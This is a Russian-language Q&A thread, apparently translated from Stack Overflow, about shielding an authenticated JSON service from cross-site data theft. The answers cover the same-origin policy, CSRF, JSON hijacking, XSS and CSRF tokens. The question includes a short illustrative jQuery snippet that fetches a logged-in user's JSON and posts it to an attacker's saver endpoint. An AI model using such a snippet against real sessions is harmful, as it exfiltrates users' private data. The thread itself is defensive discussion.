Защита защищенного веб-сервиса JSON от сбора данных? - PullRequest
0 голосов
/ 12 апреля 2011

У нас есть веб-сервис JSON, который используется на одной из наших веб-страниц для отображения «живых» данных. Чтобы попасть на страницу, пользователь должен войти в систему. Мы обеспокоены возможностью вредоносных сайтов (конкурентов) собирать эти данные. Однако я не уверен, что проблема, которую мы ожидаем, вероятна.

Как только пользователь вошел в систему, мы сохраняем файл cookie "Запомнить меня" на его компьютере. Если кто-то создаст сайт, который отправит запрос AJAX на наш веб-сервис и убедит вошедшего в систему пользователя посетить сайт, смогут ли они получать и хранить информацию из нашего сервиса? Если так, как мы можем защитить себя от чего-то подобного?

Например:

Может ли вредоносный веб-сайт создать такой скрипт для получения наших данных:

$.post('their.secret.json', function(response) {
     $.post('our.malicious.response.saver', {save: response}, function(ourResponse) {
           alert('we saved your stuff!');
     }
});

Поскольку они обращаются к нашему каналу JSON, не отправит ли он cookie на наш сайт, и пользователь будет аутентифицирован. Поскольку они будут аутентифицированы, не отправит ли они назад конфиденциальные данные?

Ответы [ 2 ]

1 голос
/ 12 апреля 2011

Отсутствует какая-то еще не исправленная уязвимость браузера. То, о чем вы, похоже, беспокоитесь, сделать невозможно.

Сценарий в другом домене не сможет отправлять запросы AJAX на ваш домен.Он также не может загрузить страницу из вашего домена и «украсть» эту информацию.

Что вам действительно нужно, чтобы заботиться о CSRF, так это разрушительные действия с помощью запросов GET, которые, конечно, не требуютлюбой сценарий вообще.И все это, конечно, предполагает, что ваш сайт не подвержен межсайтовому скриптингу (который может разрешить кому-либо "красть" данные через чужой логин).

Я думаю, вытем не менее, гораздо вероятнее возникнут проблемы с «законными» пользователями, которые могут «добывать» ваши данные.Хотя это больше относится к бизнес-уровню ... помимо обеспечения надлежащей регистрации для выявления таких ситуаций.

0 голосов
/ 12 апреля 2011

Если вы боитесь, что злоумышленник может использовать сеанс законного пользователя для извлечения JSON-объектов, вы говорите о JSON-угоне. Это зависит от того, как структурированы ваши JSON-файлы, возможна ли такая атака. Найдите термин «угон JSON» для получения дополнительной информации или оставьте комментарий с более подробной информацией о вашем приложении, касающемся JSON-объектов. Если вы обнаружите, что вы уязвимы, добавление CSRF-токена поможет остановить любые атаки с использованием JSON.

Вы также должны убедиться, что в вашем веб-приложении нет ни одной уязвимости межсайтового скриптинга (XSS). Если злоумышленник может использовать XSS, ему довольно легко собирать данные, управляя браузером действительного пользователя. CSRF-токены в таком случае бесполезны.

...